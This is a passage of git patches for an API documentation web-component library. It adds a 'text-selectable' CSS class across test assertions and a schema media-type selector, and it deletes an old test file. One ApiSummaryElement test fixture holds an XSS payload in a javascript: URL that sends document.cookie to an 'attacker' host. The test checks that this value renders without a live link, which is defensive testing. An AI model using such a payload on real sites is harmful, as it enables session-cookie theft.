             const node = element.shadowRoot.querySelector('.security-header .sub-header');
-            assert.dom.equal(node, '<p class="sub-header">OAuth 1.0</p>');
+            assert.dom.equal(node, '<p class="sub-header text-selectable">OAuth 1.0</p>');
           });
 
           it('renders the description', async () => {
@@ -492,13 +492,13 @@ describe('ApiSecurityDocumentElement', () => {
           it('renders the title', async () => {
             const element = await amfModelFixture(model, security);
             const node = element.shadowRoot.querySelector('.security-header .label');
-            assert.dom.equal(node, '<span class="label">Regular OAuth 2.0 definition</span>');
+            assert.dom.equal(node, '<span class="label text-selectable">Regular OAuth 2.0 definition</span>');
           });
 
           it('renders the sub-header', async () => {
             const element = await amfModelFixture(model, security);
             const node = element.shadowRoot.querySelector('.security-header .sub-header');
-            assert.dom.equal(node, '<p class="sub-header">OAuth 2.0</p>');
+            assert.dom.equal(node, '<p class="sub-header text-selectable">OAuth 2.0</p>');
           });
 
           it('renders the description', async () => {
@@ -634,11 +634,11 @@ describe('ApiSecurityDocumentElement', () => {
             const readScope = items[0];
             assert.dom.equal(
               readScope.querySelector('.scope-name'),
-              '<span class="scope-name">read_pets</span>'
+              '<span class="scope-name text-selectable">read_pets</span>'
             );
             assert.dom.equal(
               readScope.querySelector('.scope-description'),
-              '<span class="scope-description">read your pets</span>'
+              '<span class="scope-description text-selectable">read your pets</span>'
             );
           });
         });
diff --git a/test/elements/ApiServerSelectorElement.test.js b/test/elements/ApiServerSelectorElement.test.js
index 1fed5b5..188d234 100644
--- a/test/elements/ApiServerSelectorElement.test.js
+++ b/test/elements/ApiServerSelectorElement.test.js
@@ -765,7 +765,7 @@ describe('ApiServerSelectorElement', () => {
         it('selects first slot element if there are no model servers', async () => {
           const element = await autoSelectFixtureWithSlots(model);
           assert.equal(element.value, 'http://customServer.com');
-          assert.equal(element.type, 'uri');
+          assert.equal(element.type, 'extra');
         });
 
         it('dispatches slot selection event if there are no model servers', async () => {
@@ -777,7 +777,7 @@ describe('ApiServerSelectorElement', () => {
           // @ts-ignore
           assert.equal(detail.value, 'http://customServer.com');
           // @ts-ignore
-          assert.equal(detail.type, 'uri');
+          assert.equal(detail.type, 'extra');
         });
       });
 
diff --git a/test/elements/ApiSummaryElement.test.js b/test/elements/ApiSummaryElement.test.js
index 72af98b..705e00d 100644
--- a/test/elements/ApiSummaryElement.test.js
+++ b/test/elements/ApiSummaryElement.test.js
@@ -47,7 +47,7 @@ describe('ApiSummaryElement', () => {
             <label part="api-title-label">
               API title:
             </label>
-            <span>
+            <span class="text-selectable">
               API body demo
             </span>
           </div>`);
@@ -55,7 +55,7 @@ describe('ApiSummaryElement', () => {
 
         it('renders version', () => {
           const node = element.shadowRoot.querySelector('.inline-description.version span');
-          assert.dom.equal(node, '<span>v1</span>');
+          assert.dom.equal(node, '<span class="text-selectable">v1</span>');
         });
 
         it('renders protocols', () => {
@@ -63,10 +63,10 @@ describe('ApiSummaryElement', () => {
           assert.dom.equal(
             node,
             `<div class="protocol-chips">
-            <span class="chip">
+            <span class="chip text-selectable">
                 HTTP
             </span>
-            <span class="chip">
+            <span class="chip text-selectable">
               HTTPS
             </span>
           </div>`
@@ -123,14 +123,14 @@ describe('ApiSummaryElement', () => {
 
         it('renders provider name', () => {
           const node = element.shadowRoot.querySelector('[role="contentinfo"] .provider-name');
-          assert.dom.equal(node, `<span class="provider-name">John Becker</span>`);
+          assert.dom.equal(node, `<span class="provider-name text-selectable">John Becker</span>`);
         });
 
         it('renders provider email', () => {
           const node = element.shadowRoot.querySelector('[role="contentinfo"] .provider-email');
           assert.dom.equal(
             node,
-            `<a class="app-link link-padding provider-email" href="mailto:JohnBecker@cognizant.com">
+            `<a class="app-link link-padding provider-email text-selectable" href="mailto:JohnBecker@cognizant.com">
             JohnBecker@cognizant.com
           </a>`
           );
@@ -140,7 +140,7 @@ describe('ApiSummaryElement', () => {
           const node = element.shadowRoot.querySelector('[role="contentinfo"] .provider-url');
           assert.dom.equal(
             node,
-            `<a class="app-link provider-url" href="http://domain.com" target="_blank">http://domain.com</a>`
+            `<a class="app-link provider-url text-selectable" href="http://domain.com" target="_blank">http://domain.com</a>`
           );
         });
 
@@ -153,7 +153,7 @@ describe('ApiSummaryElement', () => {
           const node = element.shadowRoot.querySelector('[aria-labelledby="licenseLabel"] a');
           assert.dom.equal(
             node,
-            `<a class="app-link" href="https://www.apache.org/licenses/LICENSE-2.0.html" target="_blank">
+            `<a class="app-link text-selectable" href="https://www.apache.org/licenses/LICENSE-2.0.html" target="_blank">
             Apache 2.0
           </a>`
           );
@@ -185,14 +185,14 @@ describe('ApiSummaryElement', () => {
 
         it('renders provider name', () => {
           const node = element.shadowRoot.querySelector('[role="contentinfo"] .provider-name');
-          assert.dom.equal(node, `<span class="provider-name">Wally</span>`);
+          assert.dom.equal(node, `<span class="provider-name text-selectable">Wally</span>`);
         });
 
         it('renders provider email', () => {
           const node = element.shadowRoot.querySelector('[role="contentinfo"] .provider-email');
           assert.dom.equal(
             node,
-            `<a class="app-link link-padding provider-email" href="mailto:wallythebest@wally.com">
+            `<a class="app-link link-padding provider-email text-selectable" href="mailto:wallythebest@wally.com">
             wallythebest@wally.com
           </a>`
           );
@@ -202,7 +202,7 @@ describe('ApiSummaryElement', () => {
           const node = element.shadowRoot.querySelector('[role="contentinfo"] .provider-url');
           assert.dom.equal(
             node,
-            `<a class="app-link provider-url" target="_blank">
+            `<a class="app-link provider-url text-selectable" target="_blank">
               javascript:window.location='http://attacker/?cookie='+document.cookie</a>`
           );
         });
@@ -216,7 +216,7 @@ describe('ApiSummaryElement', () => {
           const node = element.shadowRoot.querySelector('[aria-labelledby="licenseLabel"] a');
           assert.dom.equal(
             node,
-            `<a class="app-link" target="_blank">
+            `<a class="app-link text-selectable" target="_blank">
             I swear if you click below you will have the most amazing experience ever. I promise.
           </a>`
           );
@@ -256,7 +256,7 @@ describe('ApiSummaryElement', () => {
           assert.dom.equal(
             node,
             `<a
-              class="endpoint-path"
+              class="endpoint-path text-selectable"
               data-shape-type="resource"
               href="#/people"
               title="Open endpoint documentation"
diff --git a/web-test-runner.config.mjs b/web-test-runner.config.mjs
index fb61c07..e70341b 100644
--- a/web-test-runner.config.mjs
+++ b/web-test-runner.config.mjs
@@ -1,7 +1,7 @@
 export default {
-  // files: 'test/**/*.test.js',
+  files: 'test/**/*.test.js',
   // files: 'test/navigation/*.test.js',
-  files: 'test/elements/ApiDocumentationElement.test.js',
+  // files: 'test/elements/ApiDocumentationElement.test.js',
   // files: [
   //   'test/elements/ApiSecurityRequirementDocumentElement.test.js',
   //   'test/elements/ApiOperationDocumentElement.test.js',

From de7a267433d53194b5c925c2f30d731fb86cbe09 Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Thu, 14 Oct 2021 00:08:48 -0700
Subject: [PATCH 20/36] chore: restoring schema media selector

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 src/elements/ApiDocumentationElement.d.ts     |    5 +
 src/elements/ApiDocumentationElement.js       |   95 +-
 .../shape/ShapeJsonSchemaGenerator.d.ts       |    3 -
 src/schema/shape/ShapeJsonSchemaGenerator.js  |    1 -
 test/elements/ApiDocumentationElement.test.js |   66 +-
 test/old/api-documentation.no-test.js         | 1103 -----------------
 6 files changed, 159 insertions(+), 1114 deletions(-)
 delete mode 100644 test/old/api-documentation.no-test.js

diff --git a/src/elements/ApiDocumentationElement.d.ts b/src/elements/ApiDocumentationElement.d.ts
index 7d06cd8..0f6535d 100644
--- a/src/elements/ApiDocumentationElement.d.ts
+++ b/src/elements/ApiDocumentationElement.d.ts
@@ -182,6 +182,11 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
   [endpointValue]: EndPoint;
   [apiSummaryValue]: ApiSummary;
   [navEventsRegistered]: boolean;
+  /**
+   * The mime type of the currently selected schema.
+   * @attribute
+   */
+  schemaMimeType: string;
 
   constructor();
 
diff --git a/src/elements/ApiDocumentationElement.js b/src/elements/ApiDocumentationElement.js
index ae4fd42..371dea2 100644
--- a/src/elements/ApiDocumentationElement.js
+++ b/src/elements/ApiDocumentationElement.js
@@ -1,6 +1,8 @@
 /* eslint-disable no-param-reassign */
 /* eslint-disable class-methods-use-this */
 import { html } from 'lit-element';
+import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-button.js';
+import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-group.js';
 import elementStyles from './styles/ApiDocumentation.js';
 import { 
   ApiDocumentationBase,
@@ -27,6 +29,7 @@ import '../../api-server-selector.js';
 /** @typedef {import('../events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 /** @typedef {import('../events/ServerEvents').ServerCountChangeEvent} ServerCountChangeEvent */
 /** @typedef {import('../events/ServerEvents').ServerChangeEvent} ServerChangeEvent */
+/** @typedef {import('@anypoint-web-components/anypoint-radio-button/index').AnypointRadioGroupElement} AnypointRadioGroupElement */
 
 export const isAsyncValue = Symbol('isAsyncValue');
 export const operationIdValue = Symbol('operationIdValue');
@@ -63,6 +66,8 @@ export const securityTemplate = Symbol('securityTemplate');
 export const documentationTemplate = Symbol('documentationTemplate');
 export const schemaTemplate = Symbol('schemaTemplate');
 export const resourceTemplate = Symbol('resourceTemplate');
+export const schemaMediaSelectorTemplate = Symbol('schemaMediaSelectorTemplate');
+export const mediaTypeSelectHandler = Symbol('mediaTypeSelectHandler');
 
 /**
  * A main documentation view for an AMF model representing a sync or an async API.
@@ -159,6 +164,10 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
        * The type of the server currently selected in the server selector
        */
       serverType: { type: String },
+      /**
+       * The mime type of the currently selected schema.
+       */
+      schemaMimeType: { type: String },
     };
   }
 
@@ -270,6 +279,25 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
     return this[isAsyncValue];
   }
 
+  /**
+   * @returns {string|undefined} The mime type of the schema that is being rendered.
+   */
+  get schemaMime() {
+    const { schemaMimeType } = this;
+    if (schemaMimeType) {
+      return schemaMimeType;
+    }
+    const summary = this[apiSummaryValue];
+    if (!summary) {
+      return undefined;
+    }
+    const { accepts=[] } = summary;
+    if (!accepts.length) {
+      return undefined;
+    }
+    return accepts[0];
+  }
+
   constructor() {
     super();
     /** @type {SelectionType} */
@@ -305,6 +333,8 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
     this[endpointValue] = undefined;
     /** @type {ApiSummary} */
     this[apiSummaryValue] = undefined;
+    /** @type {string} */
+    this.schemaMimeType = undefined;
 
     this[navigationHandler] = this[navigationHandler].bind(this);
     this[navEventsRegistered] = false;
@@ -358,11 +388,17 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
     this.processGraph();
   }
 
+  /** @param {any} amf */
+  __amfChanged(amf) {
+    this.schemaMimeType = undefined;
+    this[apiSummaryValue] = undefined;
+    super.__amfChanged(amf);
+  }
+
   /**
    * @returns {Promise<void>}
    */
   async processGraph() {
-    this[apiSummaryValue] = undefined;
     let { amf } = this;
     if (!amf) {
       return;
@@ -695,6 +731,19 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
     this.serverType = e.detail.type;
   }
 
+  /**
+   * @param {Event} e
+   */
+  [mediaTypeSelectHandler](e) {
+    const group = /** @type AnypointRadioGroupElement */ (e.target);
+    const { selectedItem } = group;
+    if (!selectedItem) {
+      return;
+    }
+    const mime = selectedItem.dataset.value;
+    this.schemaMimeType = mime;
+  }
+
   render() {
     return html`<style>${this.styles}</style>
     ${this[serverSelectorTemplate]()}
@@ -764,7 +813,9 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
     return html`<api-security-document
       .amf="${amf}"
       .domainModel="${model}"
-      .anypoint="${anypoint}"></api-security-document>`;
+      .anypoint="${anypoint}"
+      settingsOpened
+    ></api-security-document>`;
   }
 
   /**
@@ -783,15 +834,16 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
    * @returns {TemplateResult|string} The template for the API schema page.
    */
   [schemaTemplate]() {
-    const { amf, anypoint } = this;
+    const { amf, anypoint, schemaMime } = this;
     const model = this[renderedModelValue];
-    // @todo: render media type selector.
-    // const { accepts } = this[apiSummaryValue]
     return html`
+    ${this[schemaMediaSelectorTemplate]()}
     <api-schema-document
       .amf="${amf}"
+      .mimeType="${schemaMime}"
       .domainModel="${model}"
       .anypoint="${anypoint}"
+      forceExamples
     ></api-schema-document>`;
   }
 
@@ -818,4 +870,37 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
       ?asyncApi="${isAsync}"
     ></api-resource-document>`;
   }
+
+  /**
+   * This is a part of schema rendering.
+   * When the current API defines the media types then this shows the selector 
+   * to render examples with a specific mime.
+   * @returns {TemplateResult|string}
+   */
+  [schemaMediaSelectorTemplate]() {
+    // only APIs have top level media types (?)
+    const summary = this[apiSummaryValue];
+    if (!summary) {
+      return '';
+    }
+    const { accepts=[] } = summary;
+    if (accepts.length < 2) {
+      // if there's a single mime then we render the one we have. No selector needed.
+      return '';
+    }
+    const mimeType = this.schemaMimeType || accepts[0];
+    return html`
+    <div class="media-type-selector">
+      <label>Schema content type</label>
+      <anypoint-radio-group 
+        @select="${this[mediaTypeSelectHandler]}" 
+        attrForSelected="data-value" 
+        .selected="${mimeType}"
+      >
+        ${accepts.map((item) => 
+          html`<anypoint-radio-button class="schema-toggle" name="schemaMime" data-value="${item}">${item}</anypoint-radio-button>`)}
+      </anypoint-radio-group>
+    </div>
+    `;
+  }
 }
diff --git a/src/schema/shape/ShapeJsonSchemaGenerator.d.ts b/src/schema/shape/ShapeJsonSchemaGenerator.d.ts
index 972ab04..c0a3311 100644
--- a/src/schema/shape/ShapeJsonSchemaGenerator.d.ts
+++ b/src/schema/shape/ShapeJsonSchemaGenerator.d.ts
@@ -31,9 +31,6 @@ export declare class ShapeJsonSchemaGenerator extends ShapeBase {
   serialize(value: any): string|undefined;
   [scalarShapeObject](schema: ApiScalarShape): any|undefined;
   [nilShapeObject](schema: ApiScalarShape): any|undefined;
-  /**
-   * @todo: render examples, when available, first.
-   */
   [nodeShapeObject](schema: ApiNodeShape): object;
   [unionShapeObject](schema: ApiUnionShape): any;
 
diff --git a/src/schema/shape/ShapeJsonSchemaGenerator.js b/src/schema/shape/ShapeJsonSchemaGenerator.js
index 542a2b3..9c5fc4e 100644
--- a/src/schema/shape/ShapeJsonSchemaGenerator.js
+++ b/src/schema/shape/ShapeJsonSchemaGenerator.js
@@ -107,7 +107,6 @@ export class ShapeJsonSchemaGenerator extends ShapeBase {
   }
 
   /**
-   * @todo: render examples, when available, first.
    * @param {ApiNodeShape} schema
    * @returns {object}
    */
diff --git a/test/elements/ApiDocumentationElement.test.js b/test/elements/ApiDocumentationElement.test.js
index db39ae9..925c1ed 100644
--- a/test/elements/ApiDocumentationElement.test.js
+++ b/test/elements/ApiDocumentationElement.test.js
@@ -128,6 +128,8 @@ describe('ApiDocumentationElement', () => {
       let documentationFragmentModel;
       /** @type AmfDocument */
       let typeFragmentModel;
+      /** @type AmfDocument */
+      let appianApiModel;
       before(async () => {
         demoModel = await loader.getGraph(compact, 'demo-api');
         multiServerModel = await loader.getGraph(compact, 'multi-server');
@@ -135,6 +137,7 @@ describe('ApiDocumentationElement', () => {
         securityFragmentModel = await loader.getGraph(compact, 'oauth2-fragment');
         documentationFragmentModel = await loader.getGraph(compact, 'documentation-fragment');
         typeFragmentModel = await loader.getGraph(compact, 'type-fragment');
+        appianApiModel = await loader.getGraph(compact, 'appian-api');
       });
 
       describe('components rendering', () => {
@@ -471,8 +474,9 @@ describe('ApiDocumentationElement', () => {
           assert.typeOf(node.amf, 'object', 'amf is set');
           assert.typeOf(node.domainModel, 'object', 'schema model is set');
           assert.isTrue(node.anypoint, 'anypoint is set');
-          // TODO: libraries do not have media type
-          // assert.isUndefined(node.mediaTypes, 'mediaTypes is not set');
+          
+          const mimeSelector = element.shadowRoot.querySelector('.media-type-selector');
+          assert.notOk(mimeSelector, 'has no media type selector')
         });
 
         it('renders a security from a library', async () => {
@@ -613,6 +617,64 @@ describe('ApiDocumentationElement', () => {
           assert.notOk(node, 'the resource is not rendered');
         });
       });
+
+      //
+      // The docs render the media selector for the schema only when the API 
+      // has accepted mime types defined on it. The selector is rendered when the API
+      // has at least 2 accepted mime types defined. Otherwise it takes the only option or none
+      // and passes it to the schema document.
+      //
+      describe('shape media type selector', () => {
+        it('renders the schema media type selector', async () => {
+          const shape = loader.getShape(demoModel, 'ErrorResource');
+          const element = await basicFixture(demoModel, shape.id, 'schema');
+          const node = element.shadowRoot.querySelector('.media-type-selector');
+          assert.ok(node, 'has the media type selector')
+        });
+
+        it('does not render the selector when no enough mime types for the API', async () => {
+          const shape = loader.getShape(appianApiModel, 'ProcessModel');
+          const element = await basicFixture(appianApiModel, shape.id, 'schema');
+          const node = element.shadowRoot.querySelector('.media-type-selector');
+          assert.notOk(node, 'has no media type selector')
+        });
+
+        it('renders all API accept options', async () => {
+          const shape = loader.getShape(demoModel, 'ErrorResource');
+          const element = await basicFixture(demoModel, shape.id, 'schema');
+          const selector = element.shadowRoot.querySelector('.media-type-selector');
+          const buttons = selector.querySelectorAll('anypoint-radio-button');
+          assert.lengthOf(buttons, 2, 'has two media type options');
+
+          assert.equal(buttons[0].textContent.trim(), 'application/json');
+          assert.equal(buttons[1].textContent.trim(), 'application/xml');
+        });
+
+        it('changes the selection of the schema media type', async () => {
+          const shape = loader.getShape(demoModel, 'ErrorResource');
+          const element = await basicFixture(demoModel, shape.id, 'schema');
+          const selector = element.shadowRoot.querySelector('.media-type-selector');
+          const buttons = selector.querySelectorAll('anypoint-radio-button');
+          buttons[1].click();
+          assert.equal(element.schemaMimeType, 'application/xml', 'sets the schemaMimeType');
+          await nextFrame();
+
+          const node = element.shadowRoot.querySelector('api-schema-document');
+          assert.equal(node.mimeType, 'application/xml', 'passes the mime type selection to the element');
+        });
+
+        it('cleans up the schema mime type when AMF change', async () => {
+          const shape = loader.getShape(demoModel, 'ErrorResource');
+          const element = await basicFixture(demoModel, shape.id, 'schema');
+          const selector = element.shadowRoot.querySelector('.media-type-selector');
+          const buttons = selector.querySelectorAll('anypoint-radio-button');
+          buttons[1].click();
+          assert.equal(element.schemaMimeType, 'application/xml', 'sets the schemaMimeType');
+          
+          element.amf = libraryFragmentModel;
+          assert.isUndefined(element.schemaMimeType);
+        });
+      });
     });
   });
 });
diff --git a/test/old/api-documentation.no-test.js b/test/old/api-documentation.no-test.js
deleted file mode 100644
index b3b3a1c..0000000
--- a/test/old/api-documentation.no-test.js
+++ /dev/null
@@ -1,1103 +0,0 @@
-/* eslint-disable no-shadow */
-import { fixture, assert, html, aTimeout, nextFrame } from '@open-wc/testing';
-import * as sinon from 'sinon/pkg/sinon-esm.js';
-import { AmfLoader } from '../amf-loader.js';
-import { NavigationEvents } from '../../src/events/NavigationEvents.js';
-import '../../api-documentation.js';
-
-/** @typedef {import('../..').ApiDocumentationElement} ApiDocumentationElement */
-
-describe('ApiDocumentationElement', () => {
-  /**
-   * @returns {Promise<ApiDocumentationElement>}
-   */
-  async function basicFixture() {
-    return fixture(html`<api-documentation></api-documentation>`);
-  }
-
-  /**
-   * @returns {Promise<ApiDocumentationElement>}
-   */
-  async function inlineFixture(amf, type, selected) {
-    return fixture(html`
-      <api-documentation
-        .amf="${amf}"
-        .selectedType="${type}"
-        .selected="${selected}"
-        inlineMethods
-      ></api-documentation>
-    `);
-  }
-
-  /**
-   * @returns {Promise<ApiDocumentationElement>}
-   */
-  async function modelFixture(amf, type, selected) {
-    return fixture(html`
-      <api-documentation .amf="${amf}" .selectedType="${type}" .selected="${selected}"></api-documentation>
-    `);
-  }
-
-  /**
-   * @returns {Promise<ApiDocumentationElement>}
-   */
-  async function partialFixture(amf) {
-    return fixture(html`
-      <api-documentation .amf="${amf}"></api-documentation>
-    `);
-  }
-
-  const demoApi = 'demo-api';
-  const multiServerApi = 'multi-server';
-  const libraryFragment = 'lib-fragment';
-  const securityFragment = 'oauth2-fragment';
-
-  describe('Initialization', () => {
-    function testNotPresent(item) {
-      it(`does not render ${item} in shadow root`, async () => {
-        const element = await basicFixture();
-        const node = element.shadowRoot.querySelector(item);
-        assert.notOk(node);
-      });
-    }
-    [
-      'api-summary',
-      'api-endpoint-documentation',
-      'api-method-documentation',
-      'api-documentation-document',
-      'api-type-documentation',
-      'api-security-documentation'
-    ].forEach((item) => testNotPresent(item));
-
-    it('can be initialized with document.createElement', () => {
-      const result = document.createElement('api-documentation');
-      assert.ok(result);
-    });
-  });
-
-  [
-    ['Compact model', true],
-    ['Full model', false]
-  ].forEach(([label, compact]) => {
-    describe(String(label), () => {
-      describe('Basic DOM rendering', () => {
-        let amf;
-        before(async () => {
-          amf = await AmfLoader.load(demoApi, Boolean(compact));
-        });
-
-        function testPresent(item) {
-          const [nodeName, type] = item;
-          it(`renders ${nodeName} for ${type} type`, async () => {
-            const element = await modelFixture(amf, type, 'test');
-            await aTimeout(0);
-            const node = element.shadowRoot.querySelector(nodeName);
-            assert.ok(node);
-          });
-        }
-
-        [
-          ['api-summary', 'summary'],
-          ['api-endpoint-documentation', 'endpoint'],
-          ['api-method-documentation', 'method'],
-          ['api-documentation-document', 'documentation'],
-          ['api-type-documentation', 'type'],
-          ['api-security-documentation', 'security']
-        ].forEach((item) => testPresent(item));
-      });
-
-      describe('Changing properties', () => {
-        let amf;
-        before(async () => {
-          amf = await AmfLoader.load(demoApi, Boolean(compact));
-        });
-
-        let element;
-        beforeEach(async () => {
-          element = await basicFixture();
-        });
-
-        it('calls _processModelChange() when amf is set', async () => {
-          const spy = sinon.spy(element, '_processModelChange');
-          element.amf = amf;
-          await aTimeout(0);
-          assert.isTrue(spy.called);
-        });
-
-        it('calls _processModelChange() when selected is set', async () => {
-          const spy = sinon.spy(element, '_processModelChange');
-          element.selected = 'test';
-          await aTimeout(0);
-          assert.isTrue(spy.called);
-        });
-
-        it('calls _processModelChange() when selectedType is set', async () => {
-          const spy = sinon.spy(element, '_processModelChange');
-          element.selectedType = 'method';
-          await aTimeout(0);
-          assert.isTrue(spy.called);
-        });
-
-        it('calls _processModelChange() when inlineMethods is set', async () => {
-          const spy = sinon.spy(element, '_processModelChange');
-          element.inlineMethods = true;
-          await aTimeout(0);
-          assert.isTrue(spy.called);
-        });
-
-        it('sets __amfProcessingDebouncer', async () => {
-          element.inlineMethods = true;
-          assert.isTrue(element.__amfProcessingDebouncer);
-        });
-
-        it('Eventually resets __amfProcessingDebouncer', async () => {
-          element.inlineMethods = true;
-          await aTimeout(0);
-          assert.isFalse(element.__amfProcessingDebouncer);
-        });
-      });
-
-      describe('API model processing', () => {
-        let amf;
-        before(async () => {
-          amf = await AmfLoader.load(demoApi, Boolean(compact));
-        });
-
-        it('renders summary', async () => {
-          const element = await modelFixture(amf, 'summary', 'summary');
-          element.baseUri = 'https://test.com';
-          await aTimeout(0);
-          const node = element.shadowRoot.querySelector('api-summary');
-          assert.ok(node, 'summary is rendered');
-          // @ts-ignore
-          assert.typeOf(node.amf, 'object', 'amf is set');
-          // @ts-ignore
-          assert.equal(node.baseUri, element.baseUri, 'baseUri is set');
-        });
-        
-        it('renders security', async () => {
-          const security = AmfLoader.lookupSecurity(amf, 'basic');
-          const element = await modelFixture(amf, 'security', security['@id']);
-          element.narrow = true;
-          await aTimeout(0);
-          const node = element.shadowRoot.querySelector('api-security-documentation');
-          assert.ok(node, 'security is rendered');
-          // @ts-ignore
-          assert.typeOf(node.amf, 'array', 'amf is set');
-          // @ts-ignore
-          assert.isTrue(node.security === security, 'security model is set');
-          // @ts-ignore
-          assert.equal(node.narrow, element.narrow, 'narrow is set');
-        });
-
-        it('renders type', async () => {
-          const type = AmfLoader.lookupType(amf, 'Image');
-          const element = await modelFixture(amf, 'type', type['@id']);
-          element.narrow = true;
-          element.compatibility = true;
-          await aTimeout(0);
-          const node = element.shadowRoot.querySelector('api-type-documentation');
-          assert.ok(node, 'type is rendered');
-          assert.typeOf(node.amf, 'array', 'amf is set');
-          assert.isTrue(node.type === type, 'type model is set');
-          assert.equal(node.narrow, element.narrow, 'narrow is set');
-          // @ts-ignore
-          assert.equal(node.compatibility, element.compatibility, 'compatibility is set');
-          assert.deepEqual(node.mediaTypes, ['application/json', 'application/xml'], 'mediaTypes is set');
-        });
-
-        it('renders documentation', async () => {
-          const model = AmfLoader.lookupDocumentation(amf, 'Test doc');
-          const element = await modelFixture(amf, 'documentation', model['@id']);
-          await aTimeout(0);
-          const node = element.shadowRoot.querySelector('api-documentation-document');
-          assert.ok(node, 'documentation is rendered');
-          assert.typeOf(node.amf, 'array', 'amf is set');
-          assert.isTrue(node.shape === model, 'type model is set');
-        });
-
-        it('renders endpoint', async () => {
-          const model = AmfLoader.lookupEndpoint(amf, '/people');
-          const element = await modelFixture(amf, 'endpoint', model['@id']);
-          element.narrow = true;
-          element.compatibility = true;
-          element.baseUri = 'https://test.com';
-          element.noBottomNavigation = true;
-          await aTimeout(0);
-          const node = element.shadowRoot.querySelector('api-endpoint-documentation');
-          assert.ok(node, 'endpoint is rendered');
-          assert.typeOf(node.amf, 'array', 'amf is set');
-          assert.isTrue(node.endpoint === model, 'type model is set');
-          assert.equal(node.narrow, element.narrow, 'narrow is set');
-          assert.equal(node.compatibility, element.compatibility, 'compatibility is set');
-          assert.equal(node.selected, model['@id'], 'selected is set');
-          assert.equal(node.baseUri, element.baseUri, 'baseUri is set');
-          assert.typeOf(node.next, 'object', 'next is set');
-          assert.typeOf(node.previous, 'object', 'previous is set');
-          // notryit is only set when inlining methods
-          assert.isUndefined(node.noTryIt, 'notryit is not set');
-          assert.isTrue(node.noNavigation, 'noNavigation is set');
-        });
-
-        it('renders method', async () => {
-          const endpoint = AmfLoader.lookupEndpoint(amf, '/people');
-          const model = AmfLoader.lookupOperation(amf, '/people', 'post');
-          const element = await modelFixture(amf, 'method', model['@id']);
-          element.narrow = true;
-          element.compatibility = true;
-          element.noTryIt = true;
-          element.baseUri = 'https://test.com';
-          element.noBottomNavigation = true;
-          await aTimeout(0);
-          const node = /** @type any */ (element.shadowRoot.querySelector('api-method-documentation'));
-          assert.ok(node, 'method is rendered');
-          assert.typeOf(node.amf, 'array', 'amf is set');
-          assert.equal(node.endpoint['@id'], endpoint['@id'], 'endpoint model is set');
-          assert.equal(node.method['@id'], model['@id'], 'method model is set');
-          assert.equal(node.narrow, element.narrow, 'narrow is set');
-          assert.equal(node.compatibility, element.compatibility, 'compatibility is set');
-          assert.equal(node.baseUri, element.baseUri, 'baseUri is set');
-          assert.typeOf(node.next, 'object', 'next is set');
-          assert.typeOf(node.previous, 'object', 'previous is set');
-          assert.isTrue(node.noTryIt, 'noTryIt is set');
-          assert.isTrue(node.noNavigation, 'noNavigation is set');
-        });
-
-        it('renders inline method endpoint selection', async () => {
-          const model = AmfLoader.lookupEndpoint(amf, '/people');
-          const element = await inlineFixture(amf, 'endpoint', model['@id']);
-          element.narrow = true;
-          element.compatibility = true;
-          element.noTryIt = true;
-          element.baseUri = 'https://test.com';
-          element.redirectUri = 'https://auth.com';
-          element.scrollTarget = window;
-          element.noUrlEditor = true;
-          element.outlined = true;
-          element.noBottomNavigation = true;
-          await aTimeout(0);
-          const node = element.shadowRoot.querySelector('api-endpoint-documentation');
-          assert.ok(node, 'endpoint is rendered');
-          assert.typeOf(node.amf, 'array', 'amf is set');
-          assert.equal(node.selected, model['@id'], 'selected is set');
-          assert.equal(node.endpoint['@id'], model['@id'], 'endpoint model is set');
-          assert.equal(node.narrow, element.narrow, 'narrow is set');
-          assert.equal(node.compatibility, element.compatibility, 'compatibility is set');
-          assert.equal(node.outlined, element.outlined, 'outlined is set');
-          assert.equal(node.baseUri, element.baseUri, 'baseUri is set');
-          assert.typeOf(node.next, 'object', 'next is set');
-          assert.typeOf(node.previous, 'object', 'previous is set');
-          assert.isTrue(node.noTryIt, 'noTryIt is set');
-          assert.isTrue(node.noUrlEditor, 'noUrlEditor is set');
-          assert.isTrue(node.noTryIt, 'noTryIt is set');
-          assert.isTrue(node.inlineMethods, 'inlineMethods is set');
-          assert.isTrue(node.noNavigation, 'noNavigation is set');
-        });
-
-        it('renders inline method for method selection', async () => {
-          const endpoint = AmfLoader.lookupEndpoint(amf, '/people');
-          const model = AmfLoader.lookupOperation(amf, '/people', 'post');
-          const element = await inlineFixture(amf, 'method', model['@id']);
-          element.narrow = true;
-          element.compatibility = true;
-          element.noTryIt = true;
-          element.baseUri = 'https://test.com';
-          element.redirectUri = 'https://auth.com';
-          element.scrollTarget = window;
-          element.noUrlEditor = true;
-          element.outlined = true;
-          element.noBottomNavigation = true;
-          await aTimeout(0);
-          const node = element.shadowRoot.querySelector('api-endpoint-documentation');
-          assert.ok(node, 'endpoint is rendered');
-          assert.typeOf(node.amf, 'array', 'amf is set');
-          assert.equal(node.selected, model['@id'], 'selected is set');
-          assert.equal(node.endpoint['@id'], endpoint['@id'], 'endpoint model is set');
-          assert.equal(node.narrow, element.narrow, 'narrow is set');
-          assert.equal(node.compatibility, element.compatibility, 'compatibility is set');
-          assert.equal(node.outlined, element.outlined, 'outlined is set');
-          assert.equal(node.baseUri, element.baseUri, 'baseUri is set');
-          assert.typeOf(node.next, 'object', 'next is set');
-          assert.typeOf(node.previous, 'object', 'previous is set');
-          assert.isTrue(node.noTryIt, 'noTryIt is set');
-          assert.isTrue(node.noUrlEditor, 'noUrlEditor is set');
-          assert.isTrue(node.noTryIt, 'noTryIt is set');
-          assert.isTrue(node.inlineMethods, 'inlineMethods is set');
-          assert.isTrue(node.noNavigation, 'noNavigation is set');
-        });
-      });
-
-      describe('API library processing', () => {
-        let amf;
-        before(async () => {
-          amf = await AmfLoader.load(libraryFragment, Boolean(compact));
-        });
-
-        it('renders a type from a library', async () => {
-          const type = AmfLoader.lookupType(amf, 'myType');
